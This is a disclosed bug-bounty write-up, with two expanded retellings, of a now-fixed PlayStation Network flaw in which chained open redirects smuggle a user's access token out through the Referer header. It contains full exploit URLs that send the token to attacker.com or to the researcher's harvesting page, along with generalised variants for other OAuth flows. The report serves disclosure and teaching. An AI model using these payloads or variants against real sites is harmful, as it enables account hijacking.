Access Token Smuggling from my.playstation.com via Referer Header
An open redirect on my.playstation.com could be chained with another open redirect on docs.playstation.com to leak an access token via the Referer header. An attacker could steal a victim's access token and access their resources on my.playstation.com.
- Triaged in 17 hours
- Fixed in 15 days
- Paid in 7 days
- Disclosed after 9 months
Summary by the program
I discovered a way to smuggle an access token from my.playstation.com via Referer header through chain of open redirection vulnerability.
On my investigation of authentication flow I found this endpoint with potential site for open redirect vulnerability
https://my.playstation.com/auth/response.html
Let's look at some part of the code on this endpoint.
function sendResponseToApp(a) {
var b = extractFrameTypeFromRequestID(a.requestID),
c = a.targetOrigin || getOrigin(),
d = a.baseUrl || "",
e = a.returnRoute || "",
f = a.excludeQueryParams,
g = !f && window.location.search || "";
switch (b) {
case "iframe":
window.parent.postMessage(a, c);
break;
case "window":
window.opener.postMessage(a, c);
break;
case "external":
default:
var h = constructUrl(c, d, e) + g;
/^(https:\/\/)([a-z0-9\-]+\.)+(playstation\.com)(:([0-9]){4})?\//.test(h) ? window.location.href = h : window.location.href = "https://playstation.com/error"
}
}
This is a switch statement checking on variable named requestID The interesting part for this report is the last condition where requestID is equal to "external".
This condition basically says that if requestID is equal to "external" then construct URL from query parameters and redirect to that URL.
There is also a regex filter to protect against Open Redirect. The target for redirection can only be a subdomain of playstation.com.
The only way this is vulnerable to open redirect is that there is a sub-domain that is vulnerable to open redirect as well.
I spend sometimes hutning on that and I discovered an endpoint on docs.playstation.com that is vulnerable to open redirect.
Here is the endpoint I mentoined.
https://docs.playstation.com/consumers/auth/psn_oauth2?callback_url=https://www.google.co.th
Following this endpoint a user will be redirected to authentication portal first, if already logged in, redirected back to
https://docs.playstation.com/consumers/auth/psn_oauth2/callback?code=${code}&state=${state}&cid=${cid}
The above endpoint will consume the authorization code and then give back jwt access token (valid on docs.playstation.com only) and redirect user to callback_url with jwt token in query parameter.
At first, I thought that this is an open redirect on out-scope domain, even if I can chain it with in-scope (which is the first endpoint I mentioned) it is not much a security threat.
However, after code review and testing, I discovered a way to smuggle an access token from my.playstation.com via Referer header and send it to attacker site using this chain of redirection. Here is how.
Initially, I observed that when I chain said open redirect from my.playstation.com to docs.playstation.com then to attacker site, the Referer header contains the URL of my.playstation.com endpoint with some query parameters
Try this yourself (you need to login on playstation network first, maybe on my.playstation.com)
https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.google.co.th
Request Headers to google
:authority: www.google.co.th
:method: GET
:path: /?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&consumer_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm92aWRlciI6InBzbl----redacted----zg0NjkxMzU2NjAwMjkwNDMwIiwiZXhwIjoxNTg2MjcwNjQ5fQ.8XXCliCQwBwussk9uNsA1Kiiqgn0vsyP-KUCGpQNMaw
:scheme: https
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
accept-encoding: gzip, deflate, br
accept-language: th,en-US;q=0.9,en;q=0.8
referer: https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.google.co.th
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: cross-site
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Now let's go back to the purpose of this endpoint. (/auth/response.html)
It is used to receive access token from auth.api.sonyentertainmentnetwork.com after user login
Authentication flow is like this.
1.) Click sign-in button from my.playstation.com
2.) Redirect to auth.api.sonyentertainmentnetwork.com with redirect_uri set to my.playstation.com/auth/response.html
3.) After login, (or if already logged in), redirect to redirect_uri with access_token in attached in hash fragment of the URL
4.) Redirect back to my.playstation.com
5.) iframe points to endpoint in 2.) is created, access_token is sent back to the page via postMessage function.
redirect_uri is only being validated for its origin, so what comes after that is user-controllable.
Therefore, I could use this URL
https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.google.co.th as the payload, if a user is already logged in, he/she will go through chain of redirection and finally get to google.
The problem is that access token is stored in hash fragment which does not reflect on Referer header. To smuggle this access token I would need to find a way to make access token in query parameters instead of hash fragment.
I noticed that I could also put hash fragment in redirect_uri and the hash fragment on /auth/response.html would be
#foo=bar&access_token=...&token_type=...
Let's look at the code responsible for extracting parameters from query string and hash fragment of the URL on this endpoint
function parseResponse(a) {
var b = a.hash.substr(1),
c = a.search.substr(1),
d = b + "&" + c,
e = convertToObject(d);
return e.refererURL = a.toString(), e
}
function convertToObject(a, b, c) {
b = b || "&", c = c || "=";
var d = a.indexOf("?");
if (-1 !== d) {
var e = a.substr(d);
a = a.substr(0, d) + encodeURIComponent(e)
}
var f = {},
g = {};
return a.split(b).forEach(function (a) {
if (a = a.split(c), 2 === a.length) {
var b = decodeURIComponent(a[0]),
d = decodeURIComponent(a[1]);
"state" === b ? g = convertToObject(d, "_._", "~~~") : f[b] = d
}
}), union(f, g)
}
function union(a, b) {
var c, d = {};
for (c in a) d[c] = a[c];
for (c in b) d[c] = b[c];
return d
}
var response = parseResponse(window.location);
It puts hash fragment and query string together with & in-between then send it to convertToObject function to put all of variables and their values in key-value pair object.
The delimiters are = and & to split between key and value and key and key respectively.
There is also a special condition in which the key name is state, it will go make key-value pair object from state's value using . and ~~~ as delimiter.
Now let's go back to the first code I provided function sendResponseToApp and consider how target URL is constructed.
var b = extractFrameTypeFromRequestID(a.requestID),
c = a.targetOrigin || getOrigin(),
d = a.baseUrl || "",
e = a.returnRoute || "",
f = a.excludeQueryParams,
g = !f && window.location.search || "";
/// Some are removed to make it easier to read ///
var h = constructUrl(c, d, e) + g;
Basically, constructUrl is just concatenate value from c,d, e, and g together. The point is what is c, d, e, and g. It is quite straightforward that
c = targetOrigin, d = baseUrl, e = returnRoute and g = query strings
So, primarily constructURL consists of
targetOrgin + baseUrl + returnRoute + query strings
Now that we have reviewed the code necessary, let's get to how the exploit work.
Again, the core idea is that I need to make access token in query strings instead of hash fragment so that it get reflected in Referer header.
Basic idea of how to do that, 1.) Somehow put access token in returnRoute so that it is included in query string of target URL for redirection 2.) Redirect to my.playstation.com/auth/response.html with access token in query string 3.) Redirect again to docs.playstation.com then to attacker site. 4.) Now Referer header contains access token.
Let's go in detail
In convertToObject function
var d = a.indexOf("?");
if (-1 !== d) {
var e = a.substr(d);
a = a.substr(0, d) + encodeURIComponent(e)
}
if there is ? in string d, it will encode what comes after ? before processing string d to make key-value pair object. an example of value in string d would be
access_token=...&token_type=bearer&...key-value from query string
So, if redirect_uri ends with #returnRoute=/auth/response.html?, the value in string d would be
returnRoute=/auth/response.html?&access_token=...&token_type=bearer
and because there is ?, what comes after that is encoded so string d will be changed to
returnRoute=/auth/response.html?%26access_token%3D...%26token_type%3Dbearer
From code review above, this function uses = and & as delimiter, the access token will be included in returnRoute as query string.
To redirect to my.playstation.com just put targetOrigin=https://my.playstation.com before returnRoute
#targetOrigin=https://my.playstation.com&returnRoute=/auth/response.html?...
and also add excludeQueryParams=true to not include query string again.
Final step, to redirect to docs.playstaion.com
In parseResponse function, to make string d, it concatenates hash fragment and query string together with & in-between and it put query string behind hash fragment.
So, if redirect_uri ends with the latest payload, all of query parameters would be put in returnRoute as well since = and & are all encoded and are all included in target URL.
To redirect to docs.playstation.com and to attacker site just put
baseUrl=/&targetOrgin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.attacker.com as query string of redirect_uri
Here is the final payload
https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.attacker.com#targetOrigin=https://my.playstation.com&excludeQueryParams=true&returnRoute=/auth/response.html?
In PoC link, I redirect you to my website, it will automically extract access token from referer header.
Impact
An attacker is allowed to access victim's resources on my.playstation.com granted by stolen access token.
Context
my.playstation.com is the web front end for a PlayStation Network account. Signing in there does not happen on the my.playstation.com origin itself: the site hands the user to auth.api.sonyentertainmentnetwork.com, which returns an access token to a redirect URI on my.playstation.com. The endpoint that receives that token is:
https://my.playstation.com/auth/response.html
Its job is to take the token that arrives in the URL, decide how the response should be delivered (to an iframe, to a popup window, or by navigating the browser), and pass it on to the page that asked for it. The report describes the normal flow as follows:
- The user clicks the sign-in button on my.playstation.com.
- The browser is redirected to
auth.api.sonyentertainmentnetwork.comwithredirect_uriset tomy.playstation.com/auth/response.html. - After login, or immediately if the user is already logged in, the browser is redirected to that
redirect_uriwith theaccess_tokenattached in the hash fragment of the URL. - The browser lands back on my.playstation.com.
- An iframe pointing at the endpoint from step 2 is created, and the access token is sent back to the page with
postMessage.
The redirect_uri is validated only by origin, so everything after the origin is user-controllable. That is the property the whole attack rests on.
Setup
The only precondition stated in the report is a logged-in PlayStation Network session, for example on my.playstation.com. The captured request carries a Chrome 80 on Windows user agent. No special tooling is described beyond a browser and code review of the JavaScript served by the endpoint.
Finding it
While investigating the authentication flow, the researcher looked at the code behind /auth/response.html. The function that decides where to send the response is sendResponseToApp:
function sendResponseToApp(a) {
var b = extractFrameTypeFromRequestID(a.requestID),
c = a.targetOrigin || getOrigin(),
d = a.baseUrl || "",
e = a.returnRoute || "",
f = a.excludeQueryParams,
g = !f && window.location.search || "";
switch (b) {
case "iframe":
window.parent.postMessage(a, c);
break;
case "window":
window.opener.postMessage(a, c);
break;
case "external":
default:
var h = constructUrl(c, d, e) + g;
/^(https:\/\/)([a-z0-9\-]+\.)+(playstation\.com)(:([0-9]){4})?\//.test(h) ? window.location.href = h : window.location.href = "https://playstation.com/error"
}
}
The switch is driven by a value derived from the requestID parameter. The interesting branch is external, which is also the default. In that branch the code builds a URL from the query parameters and navigates to it. A regular expression guards the redirect: the target must be HTTPS, must be a subdomain of playstation.com, and may carry a four-digit port. Anything else is sent to https://playstation.com/error.
That filter blocks a direct open redirect, but it does not block a redirect to a different PlayStation subdomain. If any subdomain of playstation.com is itself open to redirection, the chain can be extended past the filter. The researcher hunted for such a subdomain and found one on docs.playstation.com:
https://docs.playstation.com/consumers/auth/psn_oauth2?callback_url=https://www.google.co.th
Visiting it sends the user to an authentication portal first. If the user is already logged in, the browser is sent back to:
https://docs.playstation.com/consumers/auth/psn_oauth2/callback?code=${code}&state=${state}&cid=${cid}
That callback consumes the authorisation code, issues a JWT access token valid on docs.playstation.com only, and redirects the user to the callback_url with the JWT in a query parameter.
At first the researcher considered this a low-value finding: an open redirect on an out-of-scope domain, which even when chained with the in-scope endpoint did not look like much of a threat. Code review and testing changed that assessment.
Exploitation
The first observation was that when the chain runs from my.playstation.com to docs.playstation.com and then to an attacker site, the Referer header sent to the final site contains the full URL of the my.playstation.com endpoint, including its query parameters. The researcher invites the reader to try it, after logging in to PlayStation Network:
https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.google.co.th
The request that arrives at Google shows the leak:
:authority: www.google.co.th
:method: GET
:path: /?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&consumer_token=[redacted]
:scheme: https
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
accept-encoding: gzip, deflate, br
accept-language: th,en-US;q=0.9,en;q=0.8
referer: https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.google.co.th
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: cross-site
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
The referer line carries the my.playstation.com URL with all of its parameters.
The obstacle is the hash fragment. The access token is delivered in the fragment, and fragments are not sent in the Referer header. To smuggle the token, it has to end up in the query string instead.
The researcher noticed that a hash fragment can be placed inside redirect_uri itself. When that happens, the fragment on /auth/response.html looks like this:
#foo=bar&access_token=...&token_type=...
The code that parses the URL on this endpoint is:
function parseResponse(a) {
var b = a.hash.substr(1),
c = a.search.substr(1),
d = b + "&" + c,
e = convertToObject(d);
return e.refererURL = a.toString(), e
}
function convertToObject(a, b, c) {
b = b || "&", c = c || "=";
var d = a.indexOf("?");
if (-1 !== d) {
var e = a.substr(d);
a = a.substr(0, d) + encodeURIComponent(e)
}
var f = {},
g = {};
return a.split(b).forEach(function (a) {
if (a = a.split(c), 2 === a.length) {
var b = decodeURIComponent(a[0]),
d = decodeURIComponent(a[1]);
"state" === b ? g = convertToObject(d, "_._", "~~~") : f[b] = d
}
}), union(f, g)
}
function union(a, b) {
var c, d = {};
for (c in a) d[c] = a[c];
for (c in b) d[c] = b[c];
return d
}
var response = parseResponse(window.location);
parseResponse strips the leading # from the hash, strips the leading ? from the query string, joins the two with &, and hands the result to convertToObject. That function splits on & and = to build a key-value object. There is one special case: if the key is state, its value is parsed again into an object using _._ and ~~~ as delimiters. The two objects are then merged by union.
Back in sendResponseToApp, the target URL is assembled as:
var b = extractFrameTypeFromRequestID(a.requestID),
c = a.targetOrigin || getOrigin(),
d = a.baseUrl || "",
e = a.returnRoute || "",
f = a.excludeQueryParams,
g = !f && window.location.search || "";
/// Some are removed to make it easier to read ///
var h = constructUrl(c, d, e) + g;
constructUrl simply concatenates its inputs, so the redirect target is targetOrigin + baseUrl + returnRoute + the query string (the last part only when excludeQueryParams is not set).
The plan follows from that:
- Put the access token into
returnRouteso that it becomes part of the query string of the redirect target. - Redirect to
my.playstation.com/auth/response.htmlwith the access token in the query string. - Redirect again to docs.playstation.com and then to the attacker site.
- The
Refererheader now contains the access token.
Step 1: move the token into returnRoute
The key is the ? handling in convertToObject:
var d = a.indexOf("?");
if (-1 !== d) {
var e = a.substr(d);
a = a.substr(0, d) + encodeURIComponent(e)
}
If the joined string contains a ?, everything from the ? onwards is URL-encoded before the key-value parsing happens. The value being parsed looks like:
access_token=...&token_type=bearer&...key-value from query string
So if redirect_uri ends with #returnRoute=/auth/response.html?, the joined string becomes:
returnRoute=/auth/response.html?&access_token=...&token_type=bearer
Because of the ?, everything after it is encoded, and the string turns into:
returnRoute=/auth/response.html?%26access_token%3D...%26token_type%3Dbearer
The & and = delimiters inside the token data are now encoded, so they no longer split the string. The access token is absorbed into the value of returnRoute and will be emitted as part of the query string of the redirect target.
Step 2: redirect to my.playstation.com
To make the first redirect land on my.playstation.com, targetOrigin=https://my.playstation.com is placed before returnRoute in the fragment:
#targetOrigin=https://my.playstation.com&returnRoute=/auth/response.html?...
excludeQueryParams=true is added so that the original query string is not appended a second time.
Step 3: redirect to docs.playstation.com and then to the attacker
parseResponse joins the hash fragment and the query string with &, with the query string placed after the fragment. If redirect_uri ends with the payload built so far, all of the query parameters are pulled into returnRoute as well, because their = and & characters are encoded and therefore included in the target URL.
To reach docs.playstation.com and then the attacker site, the query string of redirect_uri carries:
baseUrl=/&targetOrgin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.attacker.com
The final payload is:
https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.attacker.com#targetOrigin=https://my.playstation.com&excludeQueryParams=true&returnRoute=/auth/response.html?
Step 4: the proof-of-concept link
The researcher wrapped the payload in the authorisation endpoint, so that a logged-in victim who opens the link goes through the whole chain:
https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%[redacted]%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%[redacted]%2Ckamaji%[redacted]%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3A%2F%2Fmy.playstation.com%2Fauth%2Fresponse.html%3FrequestID%3Dexternal_request_3b961caf-d776-48bd-953e-fca6a0526d91%26baseUrl%3D%2F%26targetOrigin%3Dhttps%3A%2F%2Fdocs.playstation.com%26returnRoute%3D%2Fconsumers%2Fauth%2Fpsn_oauth2%3Fcallback_url%3Dhttps%3A%2F%2Fnnez-poc.000webhostapp.com%[redacted].html%23targetOrigin%3Dhttps%3A%2F%2Fmy.playstation.com%26excludeQueryParams%3Dtrue%26returnRoute%3D%2Fauth%2Fresponse.html%3F
In this link the final destination is the researcher's own page, which automatically extracts the access token from the Referer header. The redirect_uri parameter is the URL-encoded form of the final payload, with the attacker page substituted for https://www.attacker.com.
Root cause
Three weaknesses combine:
- The
redirect_uriat the authorisation endpoint is validated only by origin, so the path, query and fragment after the origin are attacker-controlled. This is what allows a fragment to be injected into the redirect URI in the first place. /auth/response.htmlmerges the hash fragment and the query string into one string and parses it with&and=as delimiters. The?-encoding step inconvertToObjectturns attacker-supplied delimiters into encoded data, so token material that arrives in the fragment can be folded into the value ofreturnRouteand then emitted as part of a query string.- The open redirect on docs.playstation.com lets the chain leave the
playstation.comdomain. The regex insendResponseToApponly checks the first hop, so a redirect to a PlayStation subdomain that is itself open passes the check and the second hop goes anywhere.
Once the token is in the query string of the my.playstation.com URL, the browser's default referrer behaviour sends that URL to the next site in the chain, and the token is disclosed.
Impact
An attacker who gets a logged-in victim to open the crafted link can obtain the victim's access token for my.playstation.com and use it to access the victim's resources on that site. The attack requires the victim to be logged in to PlayStation Network and to follow the link; the report does not describe any other precondition. The JWT issued by docs.playstation.com is valid only on docs.playstation.com.
Fix
The report does not describe the fix that was applied. The weaknesses above suggest the areas that need attention: validating the full redirect_uri rather than only its origin, avoiding the merge of fragment and query string into a single delimiter-parsed string on /auth/response.html, and removing the open redirect on docs.playstation.com so that the first-hop regex is not the only barrier.
Variants to test
- Fragment injection into
redirect_uri. On any OAuth or SSO flow where the redirect URI is checked by origin only, append a fragment containing parameters the callback endpoint understands. A positive result is the callback parsing attacker-chosen keys from the fragment. - Delimiter smuggling through
?encoding. Look for parsers that encode everything after a?before splitting on&and=. If a value can absorb later parameters, try to move sensitive data into a parameter that is reflected into a URL, a redirect or aReferer. - First-hop-only redirect allowlists. Where a redirect target is checked against a domain regex, look for any subdomain in that domain with its own open redirect. A positive result is a chain that passes the check and then leaves the domain.
- Token in fragment versus query. Any flow that returns tokens in a fragment and then navigates cross-origin is worth testing for a way to move the token into the query string, because fragments are not sent in
Referer.
Hunting notes
This bug lives at the seam between an authentication callback and a redirect helper. The signals during recon are an endpoint whose JavaScript builds a redirect target from several query parameters, a domain regex used as the only guard, and a requestID-style switch with an external or default branch that performs a navigation. Reading the callback's parsing code for how it joins the fragment and the query string is usually where the interesting behaviour appears. The researcher built a single link that, for a logged-in user, carries the token to a page under the researcher's control, which extracts it from the Referer header.
What happened, in plain words
my.playstation.com is the website you use to manage a PlayStation Network account. When you sign in there, the sign-in form itself is not on my.playstation.com. The site sends you to a separate login service, auth.api.sonyentertainmentnetwork.com, and that service, once you are logged in, sends you back to my.playstation.com with a small piece of proof that you logged in. That proof is called an access token: a long string of characters that works like a temporary key. Whoever holds the key can act as you on the site, without needing your password.
The page that receives the key is:
https://my.playstation.com/auth/response.html
Its job is to take the key out of the web address, decide how to hand it on (to a small embedded window, to a popup, or by simply navigating the browser), and pass it to the page that asked for it.
The report describes the normal sign-in flow like this:
- You click the sign-in button on my.playstation.com.
- Your browser is sent to
auth.api.sonyentertainmentnetwork.com, and the request includes aredirect_uritelling the login service where to send you back:my.playstation.com/auth/response.html. - After you log in, or straight away if you were already logged in, the browser is sent to that
redirect_uriwith theaccess_tokenattached in the hash fragment of the address. - The browser lands back on my.playstation.com.
- A small embedded window (an iframe) pointing at the login service is created, and the access token is sent back to the page with a browser feature called
postMessage.
Two words need explaining before going further. A hash fragment is the part of a web address after a # sign. It is used by the page itself and, importantly, it is not sent to the next website when you click a link or get redirected. A query string is the part after a ? sign, made of name=value pairs joined by &, and it is sent along with the address in the Referer header, which is a standard header in which a browser tells the next site which page you came from.
The redirect_uri is checked only by its origin, meaning the scheme plus the domain (https://my.playstation.com). Everything after the origin, the path, the query string and the fragment, can be chosen by whoever builds the link. That single fact is what the whole attack rests on.
Setup
The only precondition stated in the report is that you are logged in to PlayStation Network, for example on my.playstation.com. The captured request carries a Chrome 80 on Windows user agent. Nothing beyond a browser and reading the JavaScript served by the endpoint is described.
Finding it
While looking into the sign-in flow, the researcher read the code behind /auth/response.html. The function that decides where to send the response is sendResponseToApp:
function sendResponseToApp(a) {
var b = extractFrameTypeFromRequestID(a.requestID),
c = a.targetOrigin || getOrigin(),
d = a.baseUrl || "",
e = a.returnRoute || "",
f = a.excludeQueryParams,
g = !f && window.location.search || "";
switch (b) {
case "iframe":
window.parent.postMessage(a, c);
break;
case "window":
window.opener.postMessage(a, c);
break;
case "external":
default:
var h = constructUrl(c, d, e) + g;
/^(https:\/\/)([a-z0-9\-]+\.)+(playstation\.com)(:([0-9]){4})?\//.test(h) ? window.location.href = h : window.location.href = "https://playstation.com/error"
}
}
Line by line:
function sendResponseToApp(a) {starts a function that receives one object,a, holding the values taken from the web address.var b = extractFrameTypeFromRequestID(a.requestID),works out a delivery mode from therequestIDparameter. The result is stored inb.c = a.targetOrigin || getOrigin(),setscto thetargetOriginparameter, or to the site's own origin if that parameter is missing.d = a.baseUrl || "",setsdto thebaseUrlparameter, or an empty string.e = a.returnRoute || "",setseto thereturnRouteparameter, or an empty string.f = a.excludeQueryParams,stores theexcludeQueryParamsparameter inf.g = !f && window.location.search || "";setsgto the current query string, unlessexcludeQueryParamsis set, in which case it is empty.switch (b) {chooses what to do based on the delivery mode.case "iframe":andwindow.parent.postMessage(a, c);send the data to the surrounding page.case "window":andwindow.opener.postMessage(a, c);send the data to the window that opened this one.case "external":anddefault:is the branch taken when the mode isexternal, and also when it is anything unrecognised.var h = constructUrl(c, d, e) + g;builds the destination address by joiningc,d,eand theng.- The long line with
/^(https:\/\/)([a-z0-9\-]+\.)+(playstation\.com)(:([0-9]){4})?\//.test(h)is a regular expression check: the address must start withhttps://, must be a subdomain ofplaystation.com, and may carry a four-digit port. If the check passes,window.location.href = hnavigates the browser there; otherwise it goes tohttps://playstation.com/error.
That check blocks a direct open redirect, which is a situation where a site will forward you to any address someone puts in a link. But it does not block a redirect to a different PlayStation subdomain. If any subdomain of playstation.com is itself open to redirection, the chain can be extended past the check. The researcher hunted for such a subdomain and found one on docs.playstation.com:
https://docs.playstation.com/consumers/auth/psn_oauth2?callback_url=https://www.google.co.th
Visiting that address sends you to an authentication portal first. If you are already logged in, the browser is sent back to:
https://docs.playstation.com/consumers/auth/psn_oauth2/callback?code=${code}&state=${state}&cid=${cid}
That callback takes the authorisation code, issues a JWT access token valid on docs.playstation.com only, and redirects you to the callback_url with the JWT in a query parameter. A JWT (JSON Web Token) is a signed string that a server can check without looking anything up; here it only works on that one site.
At first the researcher considered this a low-value finding: an open redirect on a domain outside the scope of the programme, which even when chained with the in-scope endpoint did not look like much of a threat. Reading the code and testing changed that assessment.
Exploitation
The first observation was that when the chain runs from my.playstation.com to docs.playstation.com and then to an attacker site, the Referer header sent to the final site contains the full address of the my.playstation.com endpoint, including its query parameters. The researcher invites you to try it, after logging in to PlayStation Network:
https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.google.co.th
The request that arrives at Google shows the leak:
:authority: www.google.co.th
:method: GET
:path: /?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&consumer_token=[redacted]
:scheme: https
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
accept-encoding: gzip, deflate, br
accept-language: th,en-US;q=0.9,en;q=0.8
referer: https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.google.co.th
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: cross-site
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
What each line means:
:authority: www.google.co.this the site the request went to.:method: GETsays this is a normal page request.:path: /?requestID=...&consumer_token=...is the address requested on that site.:scheme: httpssays the connection is encrypted.accept: ...lists the kinds of content the browser will take.accept-encoding: gzip, deflate, brlists the compression formats the browser understands.accept-language: th,en-US;q=0.9,en;q=0.8lists the languages the browser prefers.referer: https://my.playstation.com/auth/response.html?...is the important one: it carries the my.playstation.com address with all of its parameters.sec-fetch-dest: document,sec-fetch-mode: navigateandsec-fetch-site: cross-sitetell the server this is a page navigation coming from another site.upgrade-insecure-requests: 1asks the server to prefer HTTPS.user-agent: ...identifies the browser and operating system.
The obstacle is the hash fragment. The access token is delivered in the fragment, and fragments are not sent in the Referer header. To smuggle the token, it has to end up in the query string instead.
The researcher noticed that a hash fragment can be placed inside redirect_uri itself. When that happens, the fragment on /auth/response.html looks like this:
#foo=bar&access_token=...&token_type=...
The code that parses the address on this endpoint is:
function parseResponse(a) {
var b = a.hash.substr(1),
c = a.search.substr(1),
d = b + "&" + c,
e = convertToObject(d);
return e.refererURL = a.toString(), e
}
function convertToObject(a, b, c) {
b = b || "&", c = c || "=";
var d = a.indexOf("?");
if (-1 !== d) {
var e = a.substr(d);
a = a.substr(0, d) + encodeURIComponent(e)
}
var f = {},
g = {};
return a.split(b).forEach(function (a) {
if (a = a.split(c), 2 === a.length) {
var b = decodeURIComponent(a[0]),
d = decodeURIComponent(a[1]);
"state" === b ? g = convertToObject(d, "_._", "~~~") : f[b] = d
}
}), union(f, g)
}
function union(a, b) {
var c, d = {};
for (c in a) d[c] = a[c];
for (c in b) d[c] = b[c];
return d
}
var response = parseResponse(window.location);
Line by line:
function parseResponse(a) {starts a function that receives the current address.var b = a.hash.substr(1),takes the hash fragment and drops the leading#.c = a.search.substr(1),takes the query string and drops the leading?.d = b + "&" + c,joins the two with&in between, fragment first.e = convertToObject(d);turns that joined string into a set of name and value pairs.return e.refererURL = a.toString(), estores the full address under the namerefererURLand returns the set.function convertToObject(a, b, c) {starts the parser.ais the string,bthe separator between pairs,cthe separator between name and value.b = b || "&", c = c || "=";uses&and=unless other separators were passed in.var d = a.indexOf("?");looks for a?in the string.if (-1 !== d) {runs the next lines only if a?was found.var e = a.substr(d);takes everything from the?onwards.a = a.substr(0, d) + encodeURIComponent(e)keeps the part before the?and appends the rest after URL-encoding it, which turns characters such as&and=into%26and%3Dso they no longer act as separators.var f = {}, g = {};creates two empty sets of pairs.return a.split(b).forEach(function (a) {splits the string on&and loops over the pieces.if (a = a.split(c), 2 === a.length) {splits each piece on=and continues only if there are exactly two parts.var b = decodeURIComponent(a[0]), d = decodeURIComponent(a[1]);decodes the name and the value."state" === b ? g = convertToObject(d, "_._", "~~~") : f[b] = dis the special case: if the name isstate, its value is parsed again into a set using_._and~~~as separators; otherwise the pair goes intof.}), union(f, g)merges the two sets at the end.function union(a, b) {starts the merge function, which copies every pair fromaand then frombinto a new set, sobwins on clashes.var response = parseResponse(window.location);runs the parser on the current address.
Back in sendResponseToApp, the destination address is assembled as:
var b = extractFrameTypeFromRequestID(a.requestID),
c = a.targetOrigin || getOrigin(),
d = a.baseUrl || "",
e = a.returnRoute || "",
f = a.excludeQueryParams,
g = !f && window.location.search || "";
/// Some are removed to make it easier to read ///
var h = constructUrl(c, d, e) + g;
constructUrl simply glues its inputs together, so the redirect target is targetOrigin + baseUrl + returnRoute + the query string, the last part only when excludeQueryParams is not set.
The plan follows from that:
- Put the access token into
returnRouteso that it becomes part of the query string of the redirect target. - Redirect to
my.playstation.com/auth/response.htmlwith the access token in the query string. - Redirect again to docs.playstation.com and then to the attacker site.
- The
Refererheader now contains the access token.
Step 1: move the token into returnRoute
The key is the ? handling in convertToObject:
var d = a.indexOf("?");
if (-1 !== d) {
var e = a.substr(d);
a = a.substr(0, d) + encodeURIComponent(e)
}
If the joined string contains a ?, everything from the ? onwards is URL-encoded before the name and value parsing happens. The value being parsed looks like:
access_token=...&token_type=bearer&...key-value from query string
So if redirect_uri ends with #returnRoute=/auth/response.html?, the joined string becomes:
returnRoute=/auth/response.html?&access_token=...&token_type=bearer
Because of the ?, everything after it is encoded, and the string turns into:
returnRoute=/auth/response.html?%26access_token%3D...%26token_type%3Dbearer
The & and = separators inside the token data are now encoded, so they no longer split the string. The access token is absorbed into the value of returnRoute and will be emitted as part of the query string of the redirect target.
